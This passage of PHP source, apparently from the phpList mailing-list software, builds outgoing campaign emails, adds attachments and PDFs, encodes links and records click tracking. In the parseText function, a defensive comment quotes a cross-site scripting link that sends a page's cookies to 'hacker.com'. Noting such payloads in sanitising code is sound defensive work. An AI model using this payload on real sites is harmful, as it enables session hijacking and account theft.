  597. $htmlmessage = str_ireplace('</html></p>','</html>',$htmlmessage);
  598. if (VERBOSE && $getspeedstats) {
  599. output('cleanup end');
  600. }
  601. # $htmlmessage = compressContent($htmlmessage);
  602. # print htmlspecialchars($htmlmessage);exit;
  603. if ($getspeedstats) output('build Start '.$GLOBALS['processqueue_timer']->interval(1));
  604. # build the email
  605. $mail = new PHPlistMailer($messageid,$destinationemail);
  606. if ($forwardedby) {
  607. $mail->add_timestamp();
  608. }
  609. $mail->addCustomHeader("List-Help: <".$text["preferences"].">");
  610. $mail->addCustomHeader("List-Unsubscribe: <".$text["jumpoffurl"].">");
  611. $mail->addCustomHeader("List-Subscribe: <".getConfig("subscribeurl").">");
  612. $mail->addCustomHeader("List-Owner: <mailto:".getConfig("admin_address").">");
  613. list($dummy,$domaincheck) = explode('@',$destinationemail);
  614. $text_domains = explode("\n",trim(getConfig("alwayssendtextto")));
  615. if (in_array($domaincheck,$text_domains)) {
  616. $htmlpref = 0;
  617. if (VERBOSE)
  618. output($GLOBALS['I18N']->get('sendingtextonlyto')." $domaincheck");
  619. }
  620. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  621. # $textmessage = $plugin->parseOutgoingTextMessage($messageid,$textmessage,$destinationemail, $userdata);
  622. # $htmlmessage = $plugin->parseOutgoingHTMLMessage($messageid,$htmlmessage,$destinationemail, $userdata);
  623. $plugin_attachments = $plugin->getMessageAttachment($messageid,$mail->Body);
  624. if (!empty($plugin_attachments[0]['content'])) {
  625. foreach ($plugins_attachments as $plugin_attachment) {
  626. $mail->add_attachment($plugin_attachment['content'],
  627. basename($plugin_attachment["filename"]),
  628. $plugin_attachment["mimetype"]);
  629. }
  630. }
  631. }
  632. # so what do we actually send?
  633. switch($cached[$messageid]["sendformat"]) {
  634. case "PDF":
  635. # send a PDF file to users who want html and text to everyone else
  636. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  637. $plugin->processSuccesFailure ($messageid, 'astext', $userdata);
  638. }
  639. if ($htmlpref) {
  640. if (!$isTestMail)
  641. Sql_Query("update {$GLOBALS["tables"]["message"]} set aspdf = aspdf + 1 where id = $messageid");
  642. $pdffile = createPdf($textmessage);
  643. if (is_file($pdffile) && filesize($pdffile)) {
  644. $fp = fopen($pdffile,"r");
  645. if ($fp) {
  646. $contents = fread($fp,filesize($pdffile));
  647. fclose($fp);
  648. unlink($pdffile);
  649. $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  650. <html>
  651. <head>
  652. <title></title>
  653. </head>
  654. <body>
  655. <embed src="message.pdf" width="450" height="450" href="message.pdf"></embed>
  656. </body>
  657. </html>';
  658. # $mail->add_html($html,$textmessage);
  659. # $mail->add_text($textmessage);
  660. $mail->add_attachment($contents,
  661. "message.pdf",
  662. "application/pdf");
  663. }
  664. }
  665. if (!addAttachments($messageid,$mail,"HTML")) {
  666. return 0;
  667. }
  668. } else {
  669. if (!$isTestMail)
  670. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  671. $mail->add_text($textmessage);
  672. if (!addAttachments($messageid,$mail,"text")) {
  673. return 0;
  674. }
  675. }
  676. break;
  677. case "text and PDF":
  678. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  679. $plugin->processSuccesFailure ($messageid, 'astext', $userdata);
  680. }
  681. # send a PDF file to users who want html and text to everyone else
  682. if ($htmlpref) {
  683. if (!$isTestMail)
  684. Sql_Query("update {$GLOBALS["tables"]["message"]} set astextandpdf = astextandpdf + 1 where id = $messageid");
  685. $pdffile = createPdf($textmessage);
  686. if (is_file($pdffile) && filesize($pdffile)) {
  687. $fp = fopen($pdffile,"r");
  688. if ($fp) {
  689. $contents = fread($fp,filesize($pdffile));
  690. fclose($fp);
  691. unlink($pdffile);
  692. $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  693. <html>
  694. <head>
  695. <title></title>
  696. </head>
  697. <body>
  698. <embed src="message.pdf" width="450" height="450" href="message.pdf"></embed>
  699. </body>
  700. </html>';
  701. # $mail->add_html($html,$textmessage);
  702. $mail->add_text($textmessage);
  703. $mail->add_attachment($contents,
  704. "message.pdf",
  705. "application/pdf");
  706. }
  707. }
  708. if (!addAttachments($messageid,$mail,"HTML")) {
  709. return 0;
  710. }
  711. } else {
  712. if (!$isTestMail)
  713. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  714. $mail->add_text($textmessage);
  715. if (!addAttachments($messageid,$mail,"text")) {
  716. return 0;
  717. }
  718. }
  719. break;
  720. case "text":
  721. # send as text
  722. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  723. $plugin->processSuccesFailure ($messageid, 'astext', $userdata);
  724. }
  725. if (!$isTestMail)
  726. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  727. $mail->add_text($textmessage);
  728. if (!addAttachments($messageid,$mail,"text")) {
  729. return 0;
  730. }
  731. break;
  732. case "both":
  733. case "text and HTML":
  734. case "HTML":
  735. default:
  736. $handled_by_plugin = 0;
  737. if (!empty($GLOBALS['pluginsendformats'][$cached[$messageid]["sendformat"]])) {
  738. # possibly handled by plugin
  739. $pl = $GLOBALS['plugins'][$GLOBALS['pluginsendformats'][$cached[$messageid]["sendformat"]]];
  740. if (is_object($pl) && method_exists($pl,'parseFinalMessage')) {
  741. $handled_by_plugin = $pl->parseFinalMessage($cached[$messageid]["sendformat"],$htmlmessage,$textmessage,$mail,$messageid);
  742. }
  743. }
  744. if (!$handled_by_plugin) {
  745. # send one big file to users who want html and text to everyone else
  746. if ($htmlpref) {
  747. if (!$isTestMail)
  748. Sql_Query("update {$GLOBALS["tables"]["message"]} set astextandhtml = astextandhtml + 1 where id = $messageid");
  749. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  750. $plugin->processSuccesFailure($messageid, 'ashtml', $userdata);
  751. }
  752. # dbg("Adding HTML ".$cached[$messageid]["templateid"]);
  753. if (WORDWRAP_HTML) {
  754. ## wrap it: http://mantis.phplist.com/view.php?id=15528
  755. ## some reports say, this fixes things and others say it breaks things https://mantis.phplist.com/view.php?id=15617
  756. ## so for now, only switch on if requested.
  757. ## it probably has to do with the MTA used
  758. $htmlmessage = wordwrap($htmlmessage, WORDWRAP_HTML, "\r\n");
  759. }
  760. $mail->add_html($htmlmessage,$textmessage,$cached[$messageid]["templateid"]);
  761. if (!addAttachments($messageid,$mail,"HTML")) {
  762. return 0;
  763. }
  764. } else {
  765. if (!$isTestMail)
  766. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  767. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  768. $plugin->processSuccesFailure($messageid, 'astext', $userdata);
  769. }
  770. $mail->add_text($textmessage);
  771. # $mail->setText($textmessage);
  772. # $mail->Encoding = TEXTEMAIL_ENCODING;
  773. if (!addAttachments($messageid,$mail,"text")) {
  774. return 0;
  775. }
  776. }
  777. }
  778. break;
  779. }
  780. # print htmlspecialchars($htmlmessage);exit;
  781. if (!TEST) {
  782. if ($hash != 'forwarded' || !sizeof($forwardedby)) {
  783. $fromname = $cached[$messageid]["fromname"];
  784. $fromemail = $cached[$messageid]["fromemail"];
  785. $subject = $cached[$messageid]["subject"];
  786. } else {
  787. $fromname = '';
  788. $fromemail = $forwardedby['email'];
  789. $subject = $GLOBALS['strFwd'].': '.$cached[$messageid]["subject"];
  790. }
  791. if (!empty($cached[$messageid]["replytoemail"])) {
  792. $mail->AddReplyTo($cached[$messageid]["replytoemail"],$cached[$messageid]["replytoname"]);
  793. }
  794. if ($getspeedstats) output('build End '.$GLOBALS['processqueue_timer']->interval(1));
  795. if ($getspeedstats) output('send Start '.$GLOBALS['processqueue_timer']->interval(1));
  796. if (!empty($GLOBALS['developer_email'])) {
  797. $destinationemail = $GLOBALS['developer_email'];
  798. }
  799. if (!$mail->compatSend("", $destinationemail, $fromname, $fromemail, $subject)) {
  800. # if (!$mail->send(array($destinationemail),'spool')) {
  801. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  802. $plugin->processSendFailed($messageid, $userdata, $isTestMail);
  803. }
  804. output(sprintf(s('Error sending message %d (%d/%d) to %s (%s) '),
  805. $messageid,$counters['batch_count'],$counters['batch_total'],$email,$destinationemail),0);
  806. return 0;
  807. } else {
  808. ## only save the estimated size of the message when sending a test message
  809. if ($getspeedstats) output('send End '.$GLOBALS['processqueue_timer']->interval(1));
  810. if (!isset($GLOBALS['send_process_id'])) {
  811. if (!empty($mail->mailsize)) {
  812. $name = $htmlpref ? 'htmlsize' : 'textsize';
  813. Sql_Replace($GLOBALS['tables']['messagedata'], array('id' => $messageid, 'name' => $name, 'data' => $mail->mailsize), array('name', 'id'));
  814. }
  815. }
  816. $sqlCount = $GLOBALS["pagestats"]["number_of_queries"] - $sqlCountStart;
  817. if ($getspeedstats) output('It took '.$sqlCount.' queries to send this message');
  818. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  819. $plugin->processSendSuccess($messageid, $userdata, $isTestMail);
  820. }
  821. # logEvent("Sent message $messageid to $email ($destinationemail)");
  822. return 1;
  823. }
  824. }
  825. return 0;
  826. }
  827. function addAttachments($msgid,&$mail,$type) {
  828. global $attachment_repository,$website;
  829. $hasError = false;
  830. if (ALLOW_ATTACHMENTS) {
  831. $req = Sql_Query("select * from {$GLOBALS["tables"]["message_attachment"]},{$GLOBALS["tables"]["attachment"]}
  832. where {$GLOBALS["tables"]["message_attachment"]}.attachmentid = {$GLOBALS["tables"]["attachment"]}.id and
  833. {$GLOBALS["tables"]["message_attachment"]}.messageid = $msgid");
  834. if (!Sql_Affected_Rows())
  835. return true;
  836. if ($type == "text") {
  837. $mail->append_text($GLOBALS["strAttachmentIntro"]."\n");
  838. }
  839. while ($att = Sql_Fetch_array($req)) {
  840. switch ($type) {
  841. case "HTML":
  842. if (is_file($GLOBALS["attachment_repository"]."/".$att["filename"]) && filesize($GLOBALS["attachment_repository"]."/".$att["filename"])) {
  843. $fp = fopen($GLOBALS["attachment_repository"]."/".$att["filename"],"r");
  844. if ($fp) {
  845. $contents = fread($fp,filesize($GLOBALS["attachment_repository"]."/".$att["filename"]));
  846. fclose($fp);
  847. $mail->add_attachment($contents,
  848. basename($att["remotefile"]),
  849. $att["mimetype"]);
  850. }
  851. } elseif (is_file($att["remotefile"]) && filesize($att["remotefile"])) {
  852. # handle local filesystem attachments
  853. $fp = fopen($att["remotefile"],"r");
  854. if ($fp) {
  855. $contents = fread($fp,filesize($att["remotefile"]));
  856. fclose($fp);
  857. $mail->add_attachment($contents,
  858. basename($att["remotefile"]),
  859. $att["mimetype"]);
  860. list($name,$ext) = explode(".",basename($att["remotefile"]));
  861. # create a temporary file to make sure to use a unique file name to store with
  862. $newfile = tempnam($GLOBALS["attachment_repository"],$name);
  863. $newfile .= ".".$ext;
  864. $newfile = basename($newfile);
  865. $fd = fopen( $GLOBALS["attachment_repository"]."/".$newfile, "w" );
  866. fwrite( $fd, $contents );
  867. fclose( $fd );
  868. # check that it was successful
  869. if (filesize($GLOBALS["attachment_repository"]."/".$newfile)) {
  870. Sql_Query(sprintf('update %s set filename = "%s" where id = %d',
  871. $GLOBALS["tables"]["attachment"],$newfile,$att["attachmentid"]));
  872. } else {
  873. # now this one could be sent many times, so send only once per run
  874. if (!isset($GLOBALS[$att["remotefile"]."_warned"])) {
  875. logEvent("Unable to make a copy of attachment ".$att["remotefile"]." in repository");
  876. $msg = s("Error, when trying to send campaign %d the attachment (%s) could not be copied to the repository. Check for permissions.",$msgid,$att["remotefile"]);
  877. sendMail(getConfig("report_address"),s("phpList system error"),$msg,"");
  878. $GLOBALS[$att["remotefile"]."_warned"] = time();
  879. }
  880. }
  881. } else {
  882. logEvent(s("failed to open attachment (%s) to add to campaign %d".$att["remotefile"],$msgid));
  883. $hasError = true;
  884. }
  885. } else {
  886. ## as above, avoid sending it many times
  887. if (!isset($GLOBALS[$att["remotefile"]."_warned"])) {
  888. logEvent(s("Attachment %s does not exist",$att["remotefile"]));
  889. $msg = s("Error, when trying to send campaign %d the attachment (%s) could not be found in the repository",$msgid,$att["remotefile"]);
  890. sendMail(getConfig("report_address"),s("phpList system error"),$msg,"");
  891. $GLOBALS[$att["remotefile"]."_warned"] = time();
  892. }
  893. $hasError = true;
  894. }
  895. break;
  896. case "text":
  897. $viewurl = $GLOBALS["public_scheme"]."://".$website.$GLOBALS["pageroot"].'/dl.php?id='.$att["id"];
  898. $mail->append_text($att["description"]."\n".$GLOBALS["strLocation"].": ".$viewurl."\n");
  899. break;
  900. }
  901. }
  902. }
  903. return !$hasError;
  904. }
  905. function createPDF($text) {
  906. if (!isset($GLOBALS["pdf_font"])) {
  907. $GLOBALS["pdf_font"] = 'Arial';
  908. $GLOBALS["pdf_fontsize"] = 12;
  909. }
  910. $pdf=new FPDF();
  911. $pdf->SetCreator("PHPlist version ".VERSION);
  912. $pdf->Open();
  913. $pdf->AliasNbPages();
  914. $pdf->AddPage();
  915. $pdf->SetFont($GLOBALS["pdf_font"],$GLOBALS["pdf_fontstyle"],$GLOBALS["pdf_fontsize"]);
  916. $pdf->Write((int)$GLOBALS["pdf_fontsize"]/2,$text);
  917. $fname = tempnam($GLOBALS["tmpdir"],"pdf");
  918. $pdf->Output($fname,false);
  919. return $fname;
  920. }
  921. //function replaceChars() Moved to commonlib
  922. function mailto2href($text) {
  923. # converts <mailto:blabla> link to <a href="blabla"> links
  924. #~Bas 0008857
  925. $text = preg_replace("/(.*@.*\..*) *<mailto:(\\1[^>]*)>/Umis","[URLTEXT]\\1[ENDURLTEXT][LINK]\\2[ENDLINK]\n",$text);
  926. $text = preg_replace("/<mailto:(.*@.*\..*)(\?.*)?>/Umis","[URLTEXT]\\1[ENDURLTEXT][LINK]\\1\\2[ENDLINK]\n",$text);
  927. $text = preg_replace("/\[URLTEXT\](.*)\[ENDURLTEXT\]\[LINK\](.*)\[ENDLINK\]/Umis",'<a href="mailto:\\2">\\1</a>',$text);
  928. return $text;
  929. };
  930. function linkencode($p_url){
  931. # URL Encode only the 'variable' parts of links, not the slashes in the path or the @ in an email address
  932. # from http://ar.php.net/manual/nl/function.rawurlencode.php
  933. # improved to handle mailto links properly
  934. #~Bas 0008857
  935. $uparts = @parse_url($p_url);
  936. $scheme = array_key_exists('scheme',$uparts) ? $uparts['scheme'] : "";
  937. $pass = array_key_exists('pass',$uparts) ? $uparts['pass'] : "";
  938. $user = array_key_exists('user',$uparts) ? $uparts['user'] : "";
  939. $port = array_key_exists('port',$uparts) ? $uparts['port'] : "";
  940. $host = array_key_exists('host',$uparts) ? $uparts['host'] : "";
  941. $path = array_key_exists('path',$uparts) ? $uparts['path'] : "";
  942. $query = array_key_exists('query',$uparts) ? $uparts['query'] : "";
  943. $fragment = array_key_exists('fragment',$uparts) ? $uparts['fragment'] : "";
  944. if(!empty($scheme))
  945. if($scheme == "mailto") {
  946. $scheme .= ':';
  947. } else {
  948. $scheme .= '://';
  949. };
  950. if(!empty($pass) && !empty($user)) {
  951. $user = rawurlencode($user).':';
  952. $pass = rawurlencode($pass).'@';
  953. } elseif(!empty($user))
  954. $user .= '@';
  955. if(!empty($port) && !empty($host))
  956. $host = ''.$host.':';
  957. elseif(!empty($host))
  958. $host=$host;
  959. if(!empty($path)){
  960. $arr = preg_split("/([\/;=@])/", $path, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
  961. $path = "";
  962. foreach($arr as $var){
  963. switch($var){
  964. case "/":
  965. case ";":
  966. case "=":
  967. case "@":
  968. $path .= $var;
  969. break;
  970. default:
  971. $path .= rawurlencode($var);
  972. }
  973. }
  974. // legacy patch for servers that need a literal /~username
  975. $path = str_replace("/%7E","/~",$path);
  976. }
  977. if(!empty($query)){
  978. $arr = preg_split("/([&=])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
  979. $query = "?";
  980. foreach($arr as $var){
  981. if( "&" == $var || "=" == $var )
  982. $query .= $var;
  983. else
  984. $query .= rawurlencode($var);
  985. }
  986. }
  987. if(!empty($fragment))
  988. $fragment = '#'.urlencode($fragment);
  989. return implode('', array($scheme, $user, $pass, $host, $port, $path, $query, $fragment));
  990. }
  991. function encodeLinks($text) {
  992. #~Bas Find and properly encode all links.
  993. preg_match_all("/<a(.*)href=[\"\'](.*)[\"\']([^>]*)>/Umis", $text, $links);
  994. foreach ($links[0] as $matchindex => $fullmatch) {
  995. $linkurl = $links[2][$matchindex];
  996. $linkreplace = '<a' . $links[1][$matchindex] . ' href="' . linkencode($linkurl) . '"' . $links[3][$matchindex] .'>';
  997. $text = str_replace($fullmatch,$linkreplace,$text);
  998. }
  999. return $text;
  1000. }
  1001. //function stripHTML() Moved to commonlib
  1002. function clickTrackLinkId($messageid,$userid,$url,$link) {
  1003. global $cached;
  1004. if (!isset($cached['linktrack']) || !is_array($cached['linktrack'])) $cached['linktrack'] = array();
  1005. if (!isset($cached['linktracksent']) || !is_array($cached['linktracksent'])) $cached['linktracksent'] = array();
  1006. if (!isset($cached['linktrack'][$link])) {
  1007. $query
  1008. = ' select id'
  1009. . ' from ' . $GLOBALS['tables']['linktrack_forward']
  1010. . ' where url = ?';
  1011. $rs = Sql_Query_Params($query, array($url));
  1012. $exists = Sql_Fetch_Row($rs);
  1013. if (!$exists[0]) {
  1014. $personalise = preg_match('/uid=/',$link);
  1015. $query
  1016. = ' insert into ' . $GLOBALS['tables']['linktrack_forward']
  1017. . ' (url, personalise)'
  1018. . ' values'
  1019. . ' (?, ?)';
  1020. Sql_Query_Params($query, array($url, $personalise));
  1021. $fwdid = Sql_Insert_Id($GLOBALS['tables']['linktrack_forward'], 'id');
  1022. } else {
  1023. $fwdid = $exists[0];
  1024. }
  1025. $cached['linktrack'][$link] = $fwdid;
  1026. } else {
  1027. $fwdid = $cached['linktrack'][$link];
  1028. }
  1029. if (!isset($cached['linktracksent'][$messageid]) || !is_array($cached['linktracksent'][$messageid]))
  1030. $cached['linktracksent'][$messageid] = array();
  1031. if (!isset($cached['linktracksent'][$messageid][$fwdid])) {
  1032. $query
  1033. = ' select total'
  1034. . ' from ' . $GLOBALS['tables']['linktrack_ml']
  1035. . ' where messageid = ?'
  1036. . ' and forwardid = ?';
  1037. $rs = Sql_Query_Params($query, array($messageid, $fwdid));
  1038. if (!Sql_Num_Rows($rs)) {
  1039. $total = 1;
  1040. ## first time for this link/message
  1041. # BCD: Isn't this just an insert?
  1042. Sql_Replace($GLOBALS['tables']['linktrack_ml'], array('total' => $total, 'messageid' => $messageid, 'forwardid' => $fwdid), array('messageid', 'forwardid'));
  1043. } else {
  1044. $tot = Sql_Fetch_Row($rs);
  1045. $total = $tot[0] + 1;
  1046. Sql_Query(sprintf('update %s set total = %d where messageid = %d and forwardid = %d', $GLOBALS['tables']['linktrack_ml'], $total, $messageid, $fwdid));
  1047. }
  1048. $cached['linktracksent'][$messageid][$fwdid] = $total;
  1049. } else {
  1050. $cached['linktracksent'][$messageid][$fwdid]++;
  1051. ## write every so often, to make sure it's saved when interrupted
  1052. if ($cached['linktracksent'][$messageid][$fwdid] % 100 == 0) {
  1053. Sql_Query(sprintf('update %s set total = %d where messageid = %d and forwardid = %d',
  1054. $GLOBALS['tables']['linktrack_ml'],$cached['linktracksent'][$messageid][$fwdid],$messageid,$fwdid));
  1055. }
  1056. }
  1057. /* $req = Sql_Query(sprintf('insert ignore into %s (messageid,userid,forwardid)
  1058. values(%d,%d,"%s","%s")',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$url,addslashes($link)));
  1059. $req = Sql_Fetch_Row_Query(sprintf('select linkid from %s where messageid = %s and userid = %d and forwardid = %d
  1060. ',$GLOBALS['tables']['linktrack'],$messageid,$userid,$fwdid));*/
  1061. return $fwdid;
  1062. }
  1063. function parsePlaceHolders($content,$array = array()) {
  1064. ## the editor turns all non-ascii chars into the html equivalent so do that as well
  1065. foreach ($array as $key => $val) {
  1066. $array[strtoupper($key)] = $val;
  1067. $array[htmlentities(strtoupper($key),ENT_QUOTES,'UTF-8')] = $val;
  1068. $array[str_ireplace(' ','&nbsp;',strtoupper($key))] = $val;
  1069. }
  1070. foreach ($array as $key => $val) {
  1071. if (PHP5) { ## the help only lists attributes with strlen($name) < 20
  1072. # print '<br/>'.$key.' '.$val.'<hr/>'.htmlspecialchars($content).'<hr/>';
  1073. if (stripos($content,'['.$key.']') !== false) {
  1074. $content = str_ireplace('['.$key.']',$val,$content);
  1075. }
  1076. if (preg_match('/\['.$key.'%%([^\]]+)\]/i',$content,$regs)) { ## @@todo, check for quoting */ etc
  1077. # var_dump($regs);
  1078. if (!empty($val)) {
  1079. $content = str_ireplace($regs[0],$val,$content);
  1080. } else {
  1081. $content = str_ireplace($regs[0],$regs[1],$content);
  1082. }
  1083. }
  1084. } else {
  1085. $key = str_replace('/','\/',$key);
  1086. if (preg_match('/\['.$key.'\]/i',$content,$match)) {
  1087. $content = str_replace($match[0],$val,$content);
  1088. }
  1089. }
  1090. }
  1091. return $content;
  1092. }
  1093. function parseText($text) {
  1094. # bug in PHP? get rid of newlines at the beginning of text
  1095. $text = ltrim($text);
  1096. # make urls and emails clickable
  1097. $text = preg_replace("/([\._a-z0-9-]+@[\.a-z0-9-]+)/i",'<a href="mailto:\\1" class="email">\\1</a>',$text);
  1098. $link_pattern="/(.*)<a.*href\s*=\s*\"(.*?)\"\s*(.*?)>(.*?)<\s*\/a\s*>(.*)/is";
  1099. $i=0;
  1100. while (preg_match($link_pattern, $text, $matches)){
  1101. $url=$matches[2];
  1102. $rest = $matches[3];
  1103. if (!preg_match("/^(http:)|(mailto:)|(ftp:)|(https:)/i",$url)){
  1104. # avoid this
  1105. #<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)">
  1106. $url = preg_replace("/:/","",$url);
  1107. }
  1108. $link[$i]= '<a href="'.$url.'" '.$rest.'>'.$matches[4].'</a>';
  1109. $text = $matches[1]."%%$i%%".$matches[5];
  1110. $i++;
  1111. }
  1112. $text = preg_replace("/(www\.[a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", "http://\\1" ,$text);#make www. -> http://www.
  1113. $text = preg_replace("/(https?:\/\/)http?:\/\//i", "\\1" ,$text);#take out duplicate schema
  1114. $text = preg_replace("/(ftp:\/\/)http?:\/\//i", "\\1" ,$text);#take out duplicate schema
  1115. $text = preg_replace("/(https?:\/\/)(?!www)([a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", "<a href=\"\\1\\2\" class=\"url\" target=\"_blank\">\\2</a>" ,$text); #eg-- http://kernel.org -> <a href"http://kernel.org" target="_blank">http://kernel.org</a>
  1116. $text = preg_replace("/(https?:\/\/)(www\.)([a-zA-Z0-9\.\/#~:?+=&%@!\\-_]+)/i", "<a href=\"\\1\\2\\3\" class=\"url\" target=\"_blank\">\\2\\3</a>" ,$text); #eg -- http://www.google.com -> <a href"http://www.google.com" target="_blank">www.google.com</a>
  1117. # take off a possible last full stop and move it outside
  1118. $text = preg_replace("/<a href=\"(.*?)\.\" class=\"url\" target=\"_blank\">(.*)\.<\/a>/i","<a href=\"\\1\" class=\"url\" target=\"_blank\">\\2</a>." ,$text);
  1119. for ($j = 0;$j<$i;$j++) {
  1120. $replacement = $link[$j];
  1121. $text = preg_replace("/\%\%$j\%\%/",$replacement, $text);
  1122. }
  1123. # hmm, regular expression choke on some characters in the text
  1124. # first replace all the brackets with placeholders.
  1125. # we cannot use htmlspecialchars or addslashes, because some are needed
  1126. $text = str_replace("\(","<!--LB-->",$text);
  1127. $text = str_replace("\)","<!--RB-->",$text);
  1128. $text = preg_replace('/\$/',"<!--DOLL-->",$text);
  1129. # @@@ to be xhtml compabible we'd have to close the <p> as well
  1130. # so for now, just make it two br/s, which will be done by replacing
  1131. # \n with <br/>
  1132. # $paragraph = '<p class="x">';
  1133. $br = '<br />';
  1134. $text = preg_replace("/\r/","",$text);
  1135. $text = preg_replace("/\n/","$br\n",$text);
  1136. # reverse our previous placeholders
  1137. $text = str_replace("<!--LB-->","(",$text);
  1138. $text = str_replace("<!--RB-->",")",$text);
  1139. $text = str_replace("<!--DOLL-->","\$",$text);
  1140. return $text;
  1141. }
  1142. function addHTMLFooter($message,$footer) {
  1143. if (preg_match('#</body>#imUx',$message)) {
  1144. $message = preg_replace('#</body>#',$footer.'</body>',$message);
  1145. } else {
  1146. $message .= $footer;
  1147. }
  1148. return $message;
  1149. }
  1150. /* preloadMessage
  1151. *
  1152. * load message in memory cache $GLOBALS['cached']
  1153. */
  1154. function precacheMessage($messageid,$forwardContent = 0) {
  1155. global $cached;
  1156. $domain = getConfig('domain');
  1157. # $message = Sql_query("select * from {$GLOBALS["tables"]["message"]} where id = $messageid");
  1158. # $cached[$messageid] = array();
  1159. # $message = Sql_fetch_array($message);
  1160. $message = loadMessageData($messageid);
  1161. ## the reply to is actually not in use
  1162. if (preg_match("/([^ ]+@[^ ]+)/",$message["replyto"],$regs)) {
  1163. # if there is an email in the from, rewrite it as "name <email>"
  1164. $message["replyto"] = str_replace($regs[0],"",$message["replyto"]);
  1165. $cached[$messageid]["replytoemail"] = $regs[0];
  1166. # if the email has < and > take them out here
  1167. $cached[$messageid]["replytoemail"] = str_replace("<","",$cached[$messageid]["replytoemail"]);
  1168. $cached[$messageid]["replytoemail"] = str_replace(">","",$cached[$messageid]["replytoemail"]);
  1169. # make sure there are no quotes around the name
  1170. $cached[$messageid]["replytoname"] = str_replace('"',"",ltrim(rtrim($message["replyto"])));
  1171. } elseif (strpos($message["replyto"]," ")) {
  1172. # if there is a space, we need to add the email
  1173. $cached[$messageid]["replytoname"] = $message["replyto"];
  1174. $cached[$messageid]["replytoemail"] = "listmaster@$domain";
  1175. } else {
  1176. if (!empty($message["replyto"])) {
  1177. $cached[$messageid]["replytoemail"] = $message["replyto"] . "@$domain";
  1178. ## makes more sense not to add the domain to the word, but the help says it does
  1179. ## so let's keep it for now
  1180. $cached[$messageid]["replytoname"] = $message["replyto"] . "@$domain";
  1181. }
  1182. }
  1183. $cached[$messageid]["fromname"] = $message["fromname"];
  1184. $cached[$messageid]["fromemail"] = $message["fromemail"];
  1185. $cached[$messageid]["to"] = $message["tofield"];
  1186. #0013076: different content when forwarding 'to a friend'
  1187. $cached[$messageid]["subject"] = $forwardContent ? stripslashes($message["forwardsubject"]) : $message["subject"];
  1188. #0013076: different content when forwarding 'to a friend'
  1189. $cached[$messageid]["content"] = $forwardContent ? stripslashes($message["forwardmessage"]) : $message["message"];
  1190. if (USE_MANUAL_TEXT_PART && !$forwardContent) {
  1191. $cached[$messageid]["textcontent"] = $message["textmessage"];
  1192. } else {
  1193. $cached[$messageid]["textcontent"] = '';
  1194. }
  1195. # var_dump($cached);exit;
  1196. #0013076: different content when forwarding 'to a friend'
  1197. $cached[$messageid]["footer"] = $forwardContent ? stripslashes($message["forwardfooter"]) : $message["footer"];
  1198. if (strip_tags($cached[$messageid]["footer"]) != $cached[$messageid]["footer"]) {
  1199. $cached[$messageid]["textfooter"] = HTML2Text($cached[$messageid]["footer"]);
  1200. $cached[$messageid]["htmlfooter"] = $cached[$messageid]["footer"];
  1201. } else {
  1202. $cached[$messageid]["textfooter"] = $cached[$messageid]["footer"];
  1203. $cached[$messageid]["htmlfooter"] = parseText($cached[$messageid]["footer"]);
  1204. }
  1205. $cached[$messageid]["htmlformatted"] = strip_tags($cached[$messageid]["content"]) != $cached[$messageid]["content"];
  1206. $cached[$messageid]["sendformat"] = $message["sendformat"];
  1207. if ($message["template"]) {
  1208. $req = Sql_Fetch_Row_Query("select template from {$GLOBALS["tables"]["template"]} where id = {$message["template"]}");
  1209. $cached[$messageid]["template"] = stripslashes($req[0]);
  1210. $cached[$messageid]["templateid"] = $message["template"];
  1211. # dbg("TEMPLATE: ".$req[0]);
  1212. } else {
  1213. $cached[$messageid]["template"] = '';
  1214. $cached[$messageid]["templateid"] = 0;
  1215. }
  1216. ## @@ put this here, so it can become editable per email sent out at a later stage
  1217. $cached[$messageid]["html_charset"] = 'UTF-8';#getConfig("html_charset");
  1218. ## @@ need to check on validity of charset
  1219. if (!$cached[$messageid]["html_charset"]) {
  1220. $cached[$messageid]["html_charset"] = 'UTF-8';#'iso-8859-1';
  1221. }
  1222. $cached[$messageid]["text_charset"] = 'UTF-8';#getConfig("text_charset");
  1223. if (!$cached[$messageid]["text_charset"]) {
  1224. $cached[$messageid]["text_charset"] = 'UTF-8';#'iso-8859-1';
  1225. }
  1226. ## if we are sending a URL that contains user attributes, we cannot pre-parse the message here
  1227. ## but that has quite some impact on speed. So check if that's the case and apply
  1228. $cached[$messageid]['userspecific_url'] = preg_match('/\[.+\]/',$message['sendurl']);
  1229. if (!$cached[$messageid]['userspecific_url']) {
  1230. ## Fetch external content here, because URL does not contain placeholders
  1231. if ($GLOBALS["can_fetchUrl"] && preg_match("/\[URL:([^\s]+)\]/i",$cached[$messageid]["content"],$regs)) {
  1232. $remote_content = fetchUrl($regs[1],array());
  1233. # $remote_content = fetchUrl($message['sendurl'],array());
  1234. # @@ don't use this
  1235. # $remote_content = includeStyles($remote_content);
  1236. if ($remote_content) {
  1237. $cached[$messageid]['content'] = str_replace($regs[0],$remote_content,$cached[$messageid]['content']);
  1238. # $cached[$messageid]['content'] = $remote_content;
  1239. $cached[$messageid]["htmlformatted"] = strip_tags($remote_content) != $remote_content;
  1240. } else {
  1241. #print Error(s('unable to fetch web page for sending'));
  1242. logEvent("Error fetching URL: ".$message['sendurl']. ' cannot proceed');
  1243. return false;
  1244. }
  1245. }
  1246. if (VERBOSE && !empty($GLOBALS['getspeedstats'])) {
